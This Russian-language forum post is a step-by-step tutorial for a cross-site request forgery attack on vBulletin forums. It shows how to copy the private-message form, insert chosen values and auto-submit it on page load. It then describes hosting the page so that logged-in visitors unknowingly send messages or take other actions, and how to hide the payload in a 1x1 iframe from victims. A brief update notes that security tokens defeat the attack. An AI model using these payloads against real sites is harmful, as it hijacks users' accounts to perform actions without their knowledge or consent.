Показать сообщение отдельно
Старый 02.08.2010, 22:19   #1
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
Post XSRF - Cross Site Request Forgery

XSRF или CSRF

XSRF - Cross Site Request Forgery (X и C взаимозаменяются по аналогии с xss, но можно встретить и название CSRF), а по-русски - межсайтовая подстановка запроса.
Уязвимость возникает вследствие отсутствия проверки источника данных, передаваемых скриптам сервера. Позволяет передать заранее сформированные данные форм ввода (напр. отправка сообщений, смена подписи\аватара) с другого узла скриптам атакуемого ресурса. При этом передаются те же данные, которые мог бы ввести сам пользователь. Но никогда не стал бы
Может не очень правильно объяснил, ибо своими словами Короче, теперь поясню суть доступнее. Есть на форуме возможность отправки сообщений. Можно сформировать такой html-код, что при его открытии в браузере, пользователь, запустивший код (и при этом авторизованный на том самом форуме), сам того не зная, отправляет админу матерные сообщения... ну это только например, всё зависит от нашей фантазии.


Проводим XSRF-атаку

Суть формировки запроса к атакуемому ресурсу заключается в сохранении кода формы отправки запроса (1), подстановки в неё наших значений (2) и создания кода автоисполнения запроса (3). Далее разберём каждый пункт подробно. В качестве жертвы выберем сами себя, можете проверять на любом форуме, где вы зарегестрированы. Что будете с собой делать - решать вам) Можно отправить самому себе сообщение для начала, а можно и подпись поменять на "я идиот" (но это уже для врагов, а не для себя).
Я буду разбирать всё на примере отправки сообщения самому себе на форуме под булкой (VBulletin).

1) Сохраняем нужный код. Если решили отправлять сообщения, зайдём на страницу отправки (мой кабинет -> новое сообщение) и откроем исходный код. Отсюда нам понадобится не всё, а только форма отправки сообщения (заключена в теги <fоrm></fоrm>). Ищем в исходном коде слова, находящиеся в форме отправки где-нибудь в начале. Я буду искать текст "Список получателей". Тут же рядом находится открывающий тег <form. Теперь так же поиском находим тег </form>и копируем в текстовик всё, что между ними. У меня получилось вот такое безобразие.
2) Подставляем значения (формируем запрос). Надеюсь, все читающие знают html, поэтому без проблем вкурят, по какому принципу будут выполнять подстановку в будущем самостоятельно.
Итак, обратимся к странице отправки сообщения. Как видим, нам нужно заполнить 3 поля: получатель (1), тема сообщения (2) и сам текст (3). Давайте найдём их в сохранённом коде
Вот получатели:
Код:
<div>Список получателей</div>
      <div id="pmrecips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" tabindex="1">M@ZAX@KEP</textarea></div>
Обратите внимание, что кроме textarea так же распространены простые формы ввода (input type="text"), где значение (содержимое формы) вписывается в параметр value, как в случае с заголовком сообщения:
Код:
<td class="smallfont" colspan="3">Заголовок:</td>
   </tr>
   <tr>
    <td><input type="text" class="bginput" name="title" value="ZADROT_POWER FOREVER!" size="50" maxlength="85" tabindex="1" /></td>
А вот и само сообщение:
Код:
<textarea name="message" id="vB_Editor_001_textarea" rows="10" cols="60" style="display:block; width:380px; height:250px" tabindex="1" dir="ltr">Здесь текст сообщения. Какой хотите))</textarea>
3) Делаем автовыполнение запроса.
Для этого в конец нашего кода нужно дописать такую строку:
Код:
</body></html>
Чтобы закрыть все теги, а в самое начало добавим строку
Код:
<html><body onload="document.forms['NAME'].submit();">
, где NAME нужно заменить на имя вашей формы.
Пример: если тег формы в начале был такой:
Код:
<form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
, то имя формы здесь vbform (name="vbform"), то есть NAME заменяем на vbform.
Этот код будет выполнять действие submit сразу после загрузки формы.
Чуть не забыл самую важную вещь! Для того, чтобы форма находила скрипт-обработчик, куда нужно отправлять все данные формы, нужно в теге формы атрибуту action прописать полный путь до скрипта. То есть сейчас мы имеем относительный путь:
<form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">[/quote], а нужен нам полный:
Цитата:
<form action="https://site.com/private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
Это очень частая ошибка! Сам в этом только что убедился, потому что наступил на эти грабли
Думаю, в этом не было абсолютно ничего сложного. Сохраняем наш код в файлс расширением .html и будем проверять, сработает ли атака

Тестирование

Удостоверьтесь, что вы авторизованы на форуме и просто откройте в браузере только что сохранённый файл. Ждём пару секунд до полной загрузки и... после отправки сообщения нас перекидывает обратно в личный кабинет (нет, это не мы сделали, так форум устроен) и тут же результат: входящее сообщение от самого себя. Как видим, всё прекрасно работает!

Практическое применение

Итак, у нас всё заработало и сами себе мы сообщение отправить можем. Это конечно хорошо, но "Как это можно использовать?" - спросите вы. Да элементарно, Ватсон! xD Заливаем нашу страничку на любой хостинг и каждый, кто пройдёт по ссылке на нашу страницу, будет выполнять этот код (при услови, что он авторизован на сайте, чтобы выполнить запрос) и отправлять нам это сообщение. Нетрудно догадаться, что, модифицировав код под наши конкретные нужды, можно в принципе заставить пользователя совершить почти любое действие. Всё зависит от атакуемого ресурса, ваших целей и фантазии! =) Суть уловили? Врубайте фантазию и смекалку!

//Update (от 04.03.2011) Спасибо SokoL_у за ценные замечания.
{
Обрадовались? Рано. =) Залейте ту же страницу на локалхост или любой хостинг и зайдите на неё. Работает? Хрен. Анализируем наши ошибки. Внимательно посмотрите, какие данные передаются "атакуемому" серверу из формы отправки сообщения. Особенно нас будет интересовать то, чего не видно простым смертным. Скрытые поля:
Код:
<input type="hidden" name="do" value="process" />
<input type="hidden" name="quicksearch" value="1" />
<input type="hidden" name="childforums" value="1" />
<input type="hidden" name="exactname" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="securitytoken" value="1299250106-6d087ee2302078af38a29dcec38647831288b404" />
Здесь name="securitytoken" как бы намекает (; Включив соображалку, можно догадаться, что значение поля генерируется при запросе формы отправки сообщения и сверяется каждый раз при передаче данных формы серверу. Ясен пень, значение рандомное и уникальное для каждого юзера. Посему, наш скрипт с XSRF здесь отработает только 1 раз... и только под нашим же аккаунтом.

Сделали важный вывод - перед тем, как хакать интернеты, проверяем форму на налчие подобных скрытых полей. Ну и не забывваем реализовывать подобный механизм идентификации пользователя при написании собственных веб-приложений. Самым очевидным решением является использование в качестве контрольного значения идентификатора сессии. Жаль только, что печеньку можно отсниффать, так что для искушённых есть более надёжные методы.

Однако это не значит, что всё вышенаписанное - бесполезный бред. При нормальных условиях (атм. давление 101 кПа и t=273 Кельвина ;D), отсутствии механизма проверки пользователя, данная атака будет осуществима.
}

Теперь пару слов о том, как сделать код менее палевным, чтобы его не было видно жертве.
Создайте файл .html с таким содержимым:
Код:
<html>
<title>
Заголовок страницы
</title>
<bоdу background="http://адрес к картинке/">
<ifrаmе src="1.html" width="1" height="1"></ifrаmе>
</bоdу></html>
1.html замените на имя вашего файла с XSRF-кодом и залейте оба файла в одну папку на хостинге. Теперь, дав ссылку жертве на последний файл, она будет смотреть картинку, а действие уже выполнится. Суть заключена в теге ifrаmе. По сути вы можете вставить этот код в любой html файл для незаметного выполнения атаки:
Код:
<iframe src="http://yourhost.ru/xsrf.html" width="1" height="1"></ifrаmе>

Последний раз редактировалось M@ZAX@KEP; 21.07.2012 в 03:04.. Причина: Update
M@ZAX@KEP вне форума   Ответить с цитированием